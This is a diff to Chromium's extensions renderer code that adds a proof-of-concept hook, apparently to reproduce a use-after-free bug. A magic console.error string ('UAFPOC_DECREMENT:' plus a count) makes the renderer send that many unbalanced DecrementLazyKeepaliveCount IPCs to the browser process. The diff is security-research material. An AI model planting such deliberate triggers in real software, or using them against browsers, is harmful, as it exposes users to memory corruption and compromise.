diff --git a/extensions/renderer/extensions_render_frame_observer.cc b/extensions/renderer/extensions_render_frame_observer.cc
index 3c245f442a3f6..8f35b44bb9e42 100644
--- a/extensions/renderer/extensions_render_frame_observer.cc
+++ b/extensions/renderer/extensions_render_frame_observer.cc
@@ -11,6 +11,7 @@
 #include <vector>
 
 #include "base/functional/bind.h"
+#include "base/logging.h"
 #include "base/strings/string_split.h"
 #include "base/strings/utf_string_conversions.h"
 #include "content/public/renderer/render_frame.h"
@@ -126,6 +127,35 @@ void ExtensionsRenderFrameObserver::DetailedConsoleMessageAdded(
   }
 
   std::u16string trimmed_message = message;
+
+  // ---------------------------------------------------------------------------
+  // POC injection (Strategy B / compromised-renderer simulation):
+  // A renderer with arbitrary code execution can call
+  // mojom::LocalFrameHost::DecrementLazyKeepaliveCount() any number of times
+  // from the background page's primary main frame. Expose that capability to
+  // the POC extension via a magic console.error() string so the rest of the
+  // POC can stay in JavaScript.
+  // ---------------------------------------------------------------------------
+  static constexpr char16_t kMagic[] = u"UAFPOC_DECREMENT:";
+  static constexpr size_t kMagicLen = (sizeof(kMagic) / sizeof(kMagic[0])) - 1;
+  if (trimmed_message.compare(0, kMagicLen, kMagic) == 0) {
+    int n = 0;
+    for (size_t i = kMagicLen; i < trimmed_message.size(); ++i) {
+      char16_t c = trimmed_message[i];
+      if (c < u'0' || c > u'9') {
+        break;
+      }
+      n = n * 10 + (c - u'0');
+    }
+    LOG(ERROR) << "[uafpoc] renderer sending " << n
+               << " unbalanced DecrementLazyKeepaliveCount IPCs";
+    auto* helper = ExtensionFrameHelper::Get(render_frame());
+    for (int i = 0; i < n; ++i) {
+      helper->GetLocalFrameHost()->DecrementLazyKeepaliveCount();
+    }
+    return;
+  }
+
   StackTrace stack_trace = GetStackTraceFromMessage(
       &trimmed_message,
       source,